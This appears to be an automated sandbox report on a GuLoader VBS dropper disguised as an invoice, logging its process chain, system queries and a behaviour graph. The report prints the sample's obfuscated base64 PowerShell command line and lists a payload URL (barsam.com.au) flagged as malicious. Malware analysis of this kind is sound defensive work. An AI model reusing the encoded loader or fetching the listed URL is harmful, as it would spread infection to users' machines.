QwBJAFMAUwBFAFMAQQBSACAAQgByAGUAZAAgAGoAbwByAGQAZgBzAHQAZQAgAEEAbgB0AGkAcwBlAG4AcwAgAEwATwBYAE8AIAANAAoAIwBTAHAAbAB1AHIAZwB5AHAAeQA3ACAAUwBlAHAAdABlAG4AIABEAGkAbQBzACAAVABlAGIAcgBlAHYAcwB1AG4AYwAyACAAUwB0AHQAdABlAHAAMgAgAGwAaQBrAHYAaQBkAGUAIABBAGYAdAB2AGkAIABwAGEAbgB0AG8AZwAgAHYAZQBqAGIAeQBnACAAYwBvAGMAbwAgAEkAUwBCAFIAWQAgAFAAQQBTAFMAIABQAGkAbgBmACAAbQB1AG4AaQBrAGEAdAAgAHUAbgBzAGUAIABHAFUATABEAFIAIABNAGUAbABvAGQAaQBvAHUAIABwAGEAbgBpAG0AZQB0AGUAIABSAGEAZgB0AGUAcwBvAHMAdABlACAAYQB2AGEAbgBjAGUAbQBlAG4AdAAgAEUAbgB0AGUAYQBzAHUAYgBwAHIAIABNAFkAQwBFACAAVABpAGQAbABuAG4AZQBkAGUAMwAgAG8AZAB5AHMAcwBlAG4AIABkAHIAeQBwAHQAcgByAGUAbgAgAHAAZQByAHMAbwAgAA0ACgAjAGgAbwByAG4AIABDAGUAbgB0AHIANAAgAEgAZQBuAHIAeQBrAGsAZQBzAGwAOAAgAEYATwBSAEQAQQBNAFAATgBJAE4AIABJAG4AdAByAGEAZgBvAGwAIABDAGEAbABkAHIAbwBuACAAaQBuAGYAcgAgAHYAYQBsAGcAIABTAEkAUwBZAFIASQAgAEcAZQBuAG8AYQBrAG8AIABzAGsAYQBkAGUAZwByAGUAcgAgAFUAbgBkAGUAcgBhAGYAcwBuAGkAMgAgAFYAYQBjAGMAaQBuAGEAdAAgAGQAcgBpAGwAbABlAHIAaQBlAHIAIABDAEgAQQBJACAADQAKACMARABlAHQAbwB4AGkAZgAgAGEAZgBtAGEAbABpACAASABtAG0AZQB0AG4AIABBAGwAawBvAGgAbwBsAHQAeQBwADkAIABsAGkAbgBpAGUAIABUAEEAQQBSAE4AIABtAGUAcgBvACAAUwBwAGUAYwB0AHIAbwA4ACAAcwB0AGoAZQByAG4AIABQAG8AcwBpAHQAaQBvACAAQQB1AHQAbwBiAGkAbwAgAHUAdABhAGsAbgBlACAASAB1AG0AYQBuAGgAbwBvADMAIABvAG0AcABsACAAQgBlAHYAaQBzAGYAcgBlAGwAcwAzACAAQgByAGkAbABsAGUAZgBvAGQAZQA2ACAARQBKAEUATgBEAE8ATQBTACAAVAB1AHIAaQBzAHQAawA0ACAAYwBoAGEAbgB0AGEAbgB0ACAAYgBvAG4AZABlAHMAdABhACAAQgBJAEwARgBSAEEARwBUAEUAUgAgAFMASQBEAEgARQBQAFIARQAgAA0ACgAjAFMAawBpAGQAZQBuAHQAIABhAGEAbg Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGEAbgBkAGkAbgBtAGUANQAgAEIAbwBiAGwAZQBrAGEAIABBAHIAdABpAGsAdQBsAGUAcgAgAGgAbwB0AG0AIABGAG8AcgBtAG4AaQBuADQAIABWAGkAZwBlAHMAaQBtAG8AawBpADYAIABzAHQAbwBtACAARQBjAGgAaQBuAGkAdAA2ACAAcAByAG8AbgBhAHQAaQB2ACAAUAB5AHIAbwAgAFQAZQB4AHQAdAB2ADcAIABFAGwAZQB2AGEAdABvAHIAZgByACAAUgBBAE0AUgBPAEQAUwBBACAAUQBlAGsAdQByAHMAdQBzAHMAIABiAGUAYQBuAHAAbwAgAFMAawByAGsAMgAgAHAAbwBsAGEAcgBpACAAbQBlAGQAZQBvAGwAYQAgAEwAbwByAGEAIABSAGEAcABoAGkANgAgAA0ACgAjAGQAZQBmAGEAIABwAGkAZQBkACAAVABhAG4AZABrAGQAcwBiAGUAIABVAG4AaQBtAG0AbwByACAAQgBhAGQAZwBlAHIAYgA2ACAAZQB4AGMAbAB1AHMAIABDAGgAbwBuAGQAcgBvAGcAOAAgAEEARQBSAE8ATABPACAARgBJAFMASABFAFIATQBBAE4ASQAgAEYAQQBHAEkATgBUAEUARwBSACAASQBuAGMAZQBwAHQAbwAzACAAUwBuAHUAcgBsADYAIABCAGkAcwBlAHgAdQBhACAAZABvAHMAcwBlAHIAIABnAGEAdgBlAGwAIABtAGUAdABhAGYAbwByAGUAIAB0AHIAYQBuACAAYQB0AGEAawAgAFMAZQBpAHMAbQBpADIAIABOAG8AbgBmAGEAYgB1AGwAIABEAGkAZwB0AGUAawAzACAAUgBFAEcATgBTAEsAQQAgAFAAaAB5AHQAbwBtAGUAOQAgAE0AdQByAGEAZQAgAEgAYQBsAHYAOAAgAFYATwBDAEkARgBFAFIAQQBUAEUAIABXAE8ATwBEAEMAUgBBAEYAVAAgAGgAYQByAGQAaABlAGEAcgB0ACAASwBuAGkAYgAgAHMAZQBqAHQAIAANAAoAIwBJAG0AbQBlAHIAdgBrADgAIABTAHAAcgBvAGcAZgBsACAAUgBFAEQAUwBIAEkAIABzAGkAZgBmAGwAZQB1AHMAIABTAHUAcABlAHIAIAByAGkAZgB0AGUAcgBzACAARwByAG8AdQBjAGgAIABQAHIAbwBlAHYAZQB0AGkAIABQAFIATwBUAEUATgBTAEkAIABMAHkAZABiAGkAbABsAGUAZABlACAAUwBVAEIARQBMAEUAQwBUAFIAIABSAGEAbQBtAGUAdABjAGgAbwByACAAQwBJAFMAUwBFAFMAQQBSACAAQgByAGUAZAAgAGoAbwByAGQAZgBzAHQAZQAgAEEAbgB0AGkAcwBlAG4AcwAgAEwATwBYAE8AIAANAAoAIwBTAHAAbAB1AHIAZwB5AHAAeQA3ACAAUwBlAHAAdABlAG4AIABEAGkAbQBzACAAVABlAGIAcgBlAHYAcwB1AG4AYwAyACAAUwB0AHQAdABlAHAAMgAgAGwAaQBrAHYAaQBkAGUAIABBAGYAdAB2AGkAIABwAGEAbgB0AG8AZwAgAHYAZQBqAGIAeQBnACAAYwBvAGMAbwAgAEkAUwBCAFIAWQAgAFAAQQBTAFMAIABQAGkAbgBmACAAbQB1AG4AaQBrAGEAdAAgAHUAbgBzAGUAIABHAFUATABEAFIAIABNAGUAbABvAGQAaQBvAHUAIABwAGEAbgBpAG0AZQB0AGUAIABSAGEAZgB0AGUAcwBvAHMAdABlACAAYQB2AGEAbgBjAGUAbQBlAG4AdAAgAEUAbgB0AGUAYQBzAHUAYgBwAHIAIABNAFkAQwBFACAAVABpAGQAbABuAG4AZQBkAGUAMwAgAG8AZAB5AHMAcwBlAG4AIABkAHIAeQBwAHQAcgByAGUAbgAgAHAAZQByAHMAbwAgAA0ACgAjAGgAbwByAG4AIABDAGUAbgB0AHIANAAgAEgAZQBuAHIAeQBrAGsAZQBzAGwAOAAgAEYATwBSAEQAQQBNAFAATgBJAE4AIABJAG4AdAByAGEAZgBvAGwAIABDAGEAbABkAHIAbwBuACAAaQBuAGYAcgAgAHYAYQBsAGcAIABTAEkAUwBZAFIASQAgAEcAZQBuAG8AYQBrAG8AIABzAGsAYQBkAGUAZwByAGUAcgAgAFUAbgBkAGUAcgBhAGYAcwBuAGkAMgAgAFYAYQBjAGMAaQBuAGEAdAAgAGQAcgBpAGwAbABlAHIAaQBlAHIAIABDAEgAQQBJACAADQAKACMARABlAHQAbwB4AGkAZgAgAGEAZgBtAGEAbABpACAASABtAG0AZQB0AG4AIABBAGwAawBvAGgAbwBsAHQAeQBwADkAIABsAGkAbgBpAGUAIABUAEEAQQBSAE4AIABtAGUAcgBvACAAUwBwAGUAYwB0AHIAbwA4ACAAcwB0AGoAZQByAG4AIABQAG8AcwBpAHQAaQBvACAAQQB1AHQAbwBiAGkAbwAgAHUAdABhAGsAbgBlACAASAB1AG0AYQBuAGgAbwBvADMAIABvAG0AcABsACAAQgBlAHYAaQBzAGYAcgBlAGwAcwAzACAAQgByAGkAbABsAGUAZgBvAGQAZQA2ACAARQBKAEUATgBEAE8ATQBTACAAVAB1AHIAaQBzAHQAawA0ACAAYwBoAGEAbgB0AGEAbgB0ACAAYgBvAG4AZABlAHMAdABhACAAQgBJAEwARgBSAEEARwBUAEUAUgAgAFMASQBEAEgARQBQAFIARQAgAA0ACgAjAFMAawBpAGQAZQBuAHQAIABhAGEAbg Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nmk1nqgs\nmk1nqgs.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD70A.tmp" "c:\Users\user\AppData\Local\Temp\nmk1nqgs\CSCB6EACAC7C331481095CED6A2215A0F6.TMP" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 623396 Sample: WWVN_INVOICE_8363567453.vbs Startdate: 10/05/2022 Architecture: WINDOWS Score: 84 22 Found malware configuration 2->22 24 Multi AV Scanner detection for submitted file 2->24 26 Yara detected GuLoader 2->26 28 2 other signatures 2->28 8 wscript.exe 2 2->8         started        process3 signatures4 30 Wscript starts Powershell (via cmd or directly) 8->30 32 Very long command line found 8->32 34 Encrypted powershell cmdline option found 8->34 11 powershell.exe 22 8->11         started        process5 process6 13 csc.exe 3 11->13         started        16 conhost.exe 11->16         started        file7 20 C:\Users\user\AppData\Local\...\nmk1nqgs.dll, PE32 13->20 dropped 18 cvtres.exe 1 13->18         started        process8
⊘No contacted IP infos

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://barsam.com.au/bin_FCWtLoO90.bin true
  • Avira URL Cloud: safe
 unknown